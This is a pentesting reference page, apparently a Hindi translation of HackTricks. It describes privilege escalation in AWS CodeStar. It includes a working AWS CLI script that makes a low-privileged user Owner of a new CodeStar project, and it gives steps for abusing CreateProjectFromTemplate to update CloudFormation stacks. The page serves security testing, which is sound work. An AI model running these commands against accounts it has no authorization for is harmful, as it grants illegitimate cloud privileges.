AWS - Codestar Privesc

Support HackTricks

Codestar

आपको कोडस्टार के बारे में अधिक जानकारी मिल सकती है:

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

इन अनुमतियों के साथ आप कोडस्टार IAM भूमिका का दुरुपयोग कर सकते हैं ताकि मनमाने कार्य को क्लाउडफॉर्मेशन टेम्पलेट के माध्यम से किया जा सके। निम्नलिखित पृष्ठ की जांच करें:

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

यह तकनीक codestar:CreateProject का उपयोग करके एक कोडस्टार प्रोजेक्ट बनाती है, और codestar:AssociateTeamMember का उपयोग करके एक IAM उपयोगकर्ता को एक नए CodeStar प्रोजेक्ट का स्वामी बनाती है, जो उन्हें कुछ अतिरिक्त अनुमतियों के साथ एक नई नीति प्रदान करेगा।

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

यदि आप पहले से ही प्रोजेक्ट के सदस्य हैं, तो आप अनुमति codestar:UpdateTeamMember का उपयोग करके अपना रोल मालिक में अपडेट कर सकते हैं, इसके बजाय codestar:AssociateTeamMember के।

संभावित प्रभाव: कोडस्टार नीति में प्रिवेस्क। आप उस नीति का एक उदाहरण यहाँ पा सकते हैं:

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. एक नया प्रोजेक्ट बनाएं:

  • एक नए प्रोजेक्ट के निर्माण की शुरुआत करने के लिए codestar:CreateProjectFromTemplate क्रिया का उपयोग करें।

  • सफल निर्माण पर, cloudformation:UpdateStack के लिए स्वचालित रूप से पहुंच दी जाती है।

  • यह पहुंच विशेष रूप से CodeStarWorker-<generic project name>-CloudFormation IAM भूमिका से संबंधित एक स्टैक को लक्षित करती है।

  1. लक्षित स्टैक को अपडेट करें:

  • दी गई CloudFormation अनुमतियों के साथ, निर्दिष्ट स्टैक को अपडेट करने के लिए आगे बढ़ें।

  • स्टैक का नाम आमतौर पर दो पैटर्न में से एक के अनुसार होगा:

  • awscodestar-<generic project name>-infrastructure

  • awscodestar-<generic project name>-lambda

  • सटीक नाम चुने गए टेम्पलेट पर निर्भर करता है (उदाहरण शोषण स्क्रिप्ट का संदर्भ)।

  1. पहुँच और अनुमतियाँ:

  • अपडेट के बाद, आपको स्टैक से जुड़े CloudFormation IAM भूमिका के लिए निर्धारित क्षमताएँ प्राप्त होती हैं।

  • नोट: यह स्वाभाविक रूप से पूर्ण व्यवस्थापक विशेषाधिकार प्रदान नहीं करता है। विशेषाधिकार बढ़ाने के लिए वातावरण में अतिरिक्त गलत कॉन्फ़िगर किए गए संसाधनों की आवश्यकता हो सकती है।

अधिक जानकारी के लिए मूल शोध देखें: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/. आप शोषण को यहाँ पा सकते हैं https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

संभावित प्रभाव: cloudformation IAM भूमिका में प्रिवेस्क।

HackTricks का समर्थन करें

Last updated